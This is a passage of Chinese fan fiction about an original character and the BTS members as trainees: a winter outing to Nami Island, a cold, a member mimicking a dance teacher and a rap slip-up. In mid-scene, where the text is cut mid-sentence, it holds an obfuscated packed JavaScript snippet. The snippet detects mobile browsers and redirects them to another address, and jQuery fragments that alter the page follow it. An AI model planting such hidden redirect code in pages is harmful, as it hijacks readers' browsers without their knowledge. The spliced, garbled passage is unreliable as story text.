十二月，初冬的首尔被一层灰蒙蒙的寒气笼罩。


    街边行道树的叶子早已落尽，只剩下光秃秃的枝桠伸向铅灰色的天空，行人呼出的白气瞬间消散在冷空气中，每个人都把自己裹进厚实的大衣和围巾里。


    练习室的暖气开得很足，但窗玻璃上还是凝结了一层薄薄的水雾，最近流感似乎格外肆虐，公司和学校里都陆续有人中招。


    上周末是金硕珍的生日，大家难得凑出完整的一天假期，一起去了京畿道的南怡岛。


    岛上的初冬景象别有一番味道，水杉林褪去了夏日的葱茏，笔直的树干在清冷空气中显得格外肃穆，草坪泛着干燥的暖黄色，踩上去沙沙作响，汉江支流环绕的湖面在冬日稀薄的阳光下泛着细碎的银光，风掠过时带起阵阵寒意。


    租自行车时，几个男孩兴奋地冲向车棚，七嘴八舌地挑选。


    “我要那辆蓝色的！”


    “这辆带车筐的给硕珍哥，可以放东西！”


    “岁秋啊，你选哪辆？”


    安岁秋落在队伍最后，看着一排排自行车，脚步有些迟疑，等众人都推着车出来，他还站在车棚入口处，指尖无意识地蜷了蜷。


    “怎么了？”


    金南俊推着一辆黑色的山地车走过来，注意到他的犹豫。


    安岁秋抿了抿唇，声音不大但足够清晰，“……我不会骑。”


    空气安静了一秒。


    “莫？”


    金泰亨睁大眼睛，表情像是听到了什么不可思议的事情，“安安不会骑车？真的？”


    田柾国也凑过来，圆眼睛里满是好奇，“岁秋哥从来没学过吗？”


    安岁秋耳根微热，点了点头，他童年多数时间在学各种乐器，后来来首尔做演员，出行大多有公司车接送，骑自行车这项技能就这样被遗漏了。


    “哎一古，我们演员nim居然有不会的事情！”


    郑号锡笑着打趣，语气里却没有丝毫嘲笑，只有觉得反差的可爱。


    金南俊把车支好，挽起袖子，信心满满，“没事，很简单！哥教你，十分钟包会！”


    于是接下来的二十分钟，南怡岛宁静的自行车道上上演了一出教学灾难。


    安岁秋在金南俊的搀扶下艰难地坐上车座，双手紧紧握着车把，指节发白，金南俊在后面扶着后座，一边推一边讲解要领：“眼睛看前面，别低头！腰放松，脚踩稳——”


    车歪歪扭扭地向前挪了不到五米，安岁秋的身体就开始不受控制地向一侧倾斜，无论怎么调整重心都无济于事，眼看就要连人带车栽进路边的枯草丛，金南俊赶紧用力扶正。


    “对不起，哥……”安岁秋脸颊泛红，不知是用力还是羞窘。


    “再来！多试几次就好！”金南俊鼓励道。


    又尝试了几次，结果大同小异，安岁秋的平衡感在自行车上似乎彻底罢工，车头总是不听使唤地画着蛇形。最后一次，他试图用脚撑地保持平衡，却差点把自己绊倒，幸亏被金南俊眼疾手快一把搂着腰捞回来。


    旁边已经骑了一圈回来的金泰亨和田柾国并排停在路边，看着这场景笑得前仰后合，连一向淡定的闵玧其都推着车站在不远处，嘴角噙着看热闹的笑意。


    “算了算了，”金南俊终于放弃，抹了把额头上不存在的汗，“这样太危险，岁秋啊，你坐我后面。”


    安岁秋还想挣扎一下：“我可以再试试……”


    “试什么试，”金硕珍也骑了回来，温和但不容拒绝地说：“路上车多人多，摔了怎么办？听南俊的。”


    最终，安岁秋红着脸，侧身坐上了金南俊那辆山地车的后座，起初他不好意思搂金南俊的腰，只用手小心地抓着座位下方的金属杆。


    但车子一启动，冬日的冷风扑面而来，他下意识地往前靠了靠，手臂慢慢环住了金南俊结实的腰身，把半张脸埋进对方厚实的外套里，试图挡住寒风。


    金南俊感受到背后传来的温热和一点点重量，还有弟弟身上那股淡淡的、清爽的柚子茶香气，他挺直了脊背，把车骑得格外平稳。


    一行人沿着环岛路骑行，冬日的景色在身侧缓缓掠过。


    金泰亨和田柾国你追我赶，笑声洒了一路，郑号锡和闵玧其并排骑着，偶尔低声交谈，金硕珍悠闲地蹬着车，欣赏风景。


    安岁秋坐在金南俊身后，看着哥哥们被风吹起的头发和衣角，又看向远处平静的湖面和在枝头跳跃的麻雀。


    中午他们还在岛上一家有名的餐厅吃了烤排骨，酱汁浓郁，肉质鲜嫩，一个个吃得满手油光。


    下午找了家临湖的咖啡馆，玻璃窗外是萧瑟却干净的冬日湖景，每个人点了一杯热饮，围坐在木桌旁，认真地在店家提供的彩色卡片上写下“未来心愿”。


    田柾国咬着笔杆想了很久，最后工工整整地写下：「希望以后能和哥哥们一起，站在很大的舞台上表演。」还在旁边画了个小小的爱心。


    金泰亨写得飞快：「要永远和瑶玲（安安）还有柾国一起玩！出道成功！吃好多好吃的！」


    闵玧其的字迹简洁有力：「做出能留在人们心里的音乐。」


    金南俊的卡片上写满了小而密集的字，仔细看是些哲学式的思考和对团队未来的期盼。


    金硕珍写道：「希望成员们都健康快乐，我们一起走很长的路。」


    郑号锡画了个跳舞的小人，旁边写着：「用舞蹈给大家带来力量！」


    轮到安岁秋，他握着笔，看着窗外泛着冷光的湖面，想了想，写下：「愿此刻的幸福能延续到很久以后的未来。」


    大家把写好的卡片小心地折好，放进一个小铁盒里，然后在咖啡馆后的小树林里，选了一棵看起来最茁壮的杉树，在它的根部挖了个小坑，郑重地将盒子埋了进去。


    “说好了。”


    金硕珍拍拍手上的土，笑容温暖，“等我们出道了，取得第一个一位的时候，就回来把它挖出来看看。”


    “一言为定！”几只手掌叠在一起。


    傍晚时分，他们转战汉江边，租了几套简陋的渔具，在江堤上寻了处避风的位置，开始生平第一次夜钓。


    江水在夜色中漆黑如墨，对岸城市的灯火倒映在水面，碎成一片晃动的光斑。


    金泰亨最没耐心，每隔五分钟就要提一次竿，结果一无所获，田柾国一开始兴致勃勃，后来也开始打哈欠，郑号锡和金南俊倒是沉得住气，目不转睛地盯着浮漂，闵玧其抱着膝盖坐在折叠凳上，望着江面出神，像尊安静的雕塑，金硕珍手法最老道，不时调整着鱼饵。


    安岁秋裹紧羽绒服，坐在金硕珍旁边的矮凳上，江风带着湿冷的水汽扑面而来，他忍不住打了个小小的喷嚏。


    “冷吗？”金硕珍侧头看他，把带来的毯子分了一半盖在他腿上。


    “还好。”安岁秋摇摇头，目光落在金硕珍被远处灯光勾勒出的柔和侧脸上。


    篝火的光在哥哥们年轻的脸上跳跃，他们压低声音交谈着，内容从出道后想开多大的演唱会，到最近练习的难点，再到宿舍楼下新开的便利店哪种饭团最好吃。


    那些话语夹杂着笑声，飘散在寒冷的江风里，安岁秋安静地听着。


    最终只有金硕珍和金南俊各钓到两条不大的江鱼，他们在江边找了家简陋但热气腾腾的小店，让老板简单烤了，撒上盐和辣椒粉，配着汽水分食。


    鱼很小，肉也不多，但每个人都吃得很香，仿佛那是世间难得的美味。


    也许是因为在江边吹了太久冷风，也许是因为最近流感病毒猖獗，从南怡岛回来的第二天，安岁秋就开始不对劲了。早晨起来就感觉喉咙发干，鼻子有些堵，到了公司练习时，明明暖气很足，他却觉得一阵阵发冷。


    “岁秋啊，脸怎么这么红？”


    中途休息时，郑号锡摸了摸他的额头，皱眉，“好像有点发热。”


    金硕珍立刻翻出随身带的体温计——自从郑号锡上次感冒后，他就习惯在背包里备着常用药和体温计。


    一量，三十七度八，低烧。


    “肯定是昨天吹风了。”金硕珍叹了口气，语气里满是自责，“不该让你们钓那么久的鱼。”


    “我没事，哥。”安岁秋声音有些沙哑，还想坚持练习。


    “没事什么没事，”闵玧其走过来，不由分说地把他按到墙边的椅子上坐下，“今天别练了，回去休息。”


    最终，安岁秋被提前送回宿舍，金硕珍给他找了感冒药，又煮了清淡的粥，看着他喝下，裹着厚厚的被子躺下休息。


    接下来的几天，安岁秋就在低烧、鼻塞和咳嗽中度过。


    虽然吃了药，但感冒症状还是拖拖拉拉，他整个人都蔫蔫的，反应比平时慢半拍，练习时也提不起劲，常常缩在角落，用毯子把自己裹成一团，只露出一双因为生病而显得更加水润朦胧的眼睛，看着格外惹人怜惜。


    舞蹈课间休息，大家累得东倒西歪，安岁秋没什么精神地靠着镜子坐着。


    田柾国眼珠一转，忽然站起来，清了清嗓子，然后摆出一个夸张的姿势——


    双脚分开与肩同宽，双手叉腰，下巴微抬，眉头紧锁，模仿着孙成德老师标志性的严肃表情和语气：


    “力量！控制！我说过多少遍，跳舞不是做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394866|200357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体操！要用这里——”他用力拍了拍自己的腹部。


    “用核心！不是用手臂瞎甩！你们看看自己的动作，软绵绵的像什么样子！”


    他模仿得惟妙惟肖，连孙老师那种恨铁不成钢的语调和习惯性的手势都抓得精准，原本病恹恹的安岁秋被逗得眼睛弯了起来，苍白的脸上终于有了点笑意，其他几个人也忍俊不禁。


    田柾国见有效果，更来劲了，开始模仿孙老师纠正动作时的经典语录：“金南俊！跳得太过了！收一点！”


    “闵玧其！框架！你的框架又被狗吃了吗？金泰亨！表情管理！笑不是呲牙！”


    他一边说一边做出相应的滑稽动作，安岁秋终于忍不住笑出声，虽然因为鼻音笑声闷闷的，但眼睛亮了不少。


    田柾国正模仿到兴头上，背对着练习室门口，没注意到一个身影不知何时走了进来，正抱着手臂，面无表情地站在他身后。


    金泰亨第一个发现，眼睛瞬间瞪大，想提醒又不敢，表情扭曲，郑号锡拼命使眼色，金南俊抬起了手，闵玧其默默别开了脸。


    “看来……”


    一道冷冰冰的、无比熟悉的声音在田柾国身后响起，“田柾国选手对我上课的方式，很有心得体会？”


    田柾国身体瞬间僵直，脖子像生了锈的机器一样，一格一格地转过去，对上孙成德那张毫无笑意的脸时，他整个人肉眼可见地石化，然后碎裂。


    “老、老师……”尾音都在颤抖。


    孙成德挑了挑眉，目光扫过一旁努力憋笑的其他成员，最后落回田柾国惨白的小脸上。


    “既然你这么有研究，想必基础已经很扎实了。今天的基本功组合，加练十遍。现在，开始。”


    田柾国欲哭无泪，只能在孙老师严厉的注视下，灰溜溜地回到场地中央，开始一遍又一遍地重复那些基础动作。


    安岁秋看着忙内那副可怜又好笑的样子，虽然鼻子还塞着，但心里那点病中的郁气消散了不少。


    感冒带来的不止是身体的不适，还有对状态的影响。


    说唱课，安岁秋因为鼻子不通，呼吸不畅，练一段需要快速换气的快嘴rap时格外吃力。


    “咬字要清晰，节奏要稳，呼吸要控制好。”金南俊示范了一遍，流畅利落。


    安岁秋点点头，深吸一口气，努力跟上节奏，“无论多少黑暗笼罩，我坚信那闪耀的未来必将到来……”


    前面还算顺利，但到了“闪耀的未来”这几个需要快速连续吐字的音节时，因为舌头和嘴唇受鼻塞影响不够灵活，他一着急——


    “无论多少黑暗笼罩，我坚信那……烤鸭的未来必将到来！”


    练习室瞬间陷入死寂。


    安岁秋自己还没意识到说错了，眨眨眼，看向金南俊。


    “哥，我这次节奏对吗？”


    金南俊张着嘴，呆呆地看着他，旁边的闵玧其肩膀开始轻微抖动，郑号锡先是一愣，随即猛地捂住嘴，但压抑不住的笑声还是从指缝里漏了出来。


    “噗……咳咳，烤、烤鸭的未来？”


    郑号锡笑到拍大腿，“岁秋啊，你是饿了吗？什么未来？烤鸭味的未来？”


    金南俊也回过神，爆发出洪亮的笑声，一边笑一边拍桌子：“哈哈哈哈烤鸭！闪耀烤鸭！岁秋啊，你想吃烤鸭了吗？哥晚上给你买！”


    连一贯表情稀少的闵玧其都转过身去，背对着大家，但耸动的肩膀出卖了他。


    安岁秋这才反应过来自己口误了，脸颊腾地烧红，又羞又恼，恨不得找个地缝钻进去。


    “不是……是闪耀！闪耀！”他试图纠正，但越急越说不清楚。


    这桩糗事当然没能只停留在练习室。


    晚上回到宿舍，田柾国——明明刚因为模仿老师被罚了十遍基本功、按理说应该吸取教训的忙内——再次管不住自己的表演欲。


    在大家吃晚饭时，他惟妙惟肖地重现了白天那一幕，学着安岁秋当时认真的表情，然后用一种奇怪的、舌头打结的腔调快速念道：“烤鸭的未来！烤鸭的未来！”


    不仅模仿口误，还加上了安岁秋事后反应过来时那瞬间的茫然和羞恼，演技精湛。


    “田柾国！”安岁秋羞恼地放下筷子，起身要去抓他。


    田柾国大笑着灵活躲开，绕着狭小的客厅跑，“本来就是嘛！岁秋哥自己说的！烤鸭的未来！哈哈哈哈！”


    安岁秋追着他，但因为感冒还没好全，动作不如平时敏捷，踢出去的脚也被田柾国轻易躲过。


    两人一个追一个逃，在有限的空间里制造出不小的动静，一顿饭吃得鸡飞狗跳。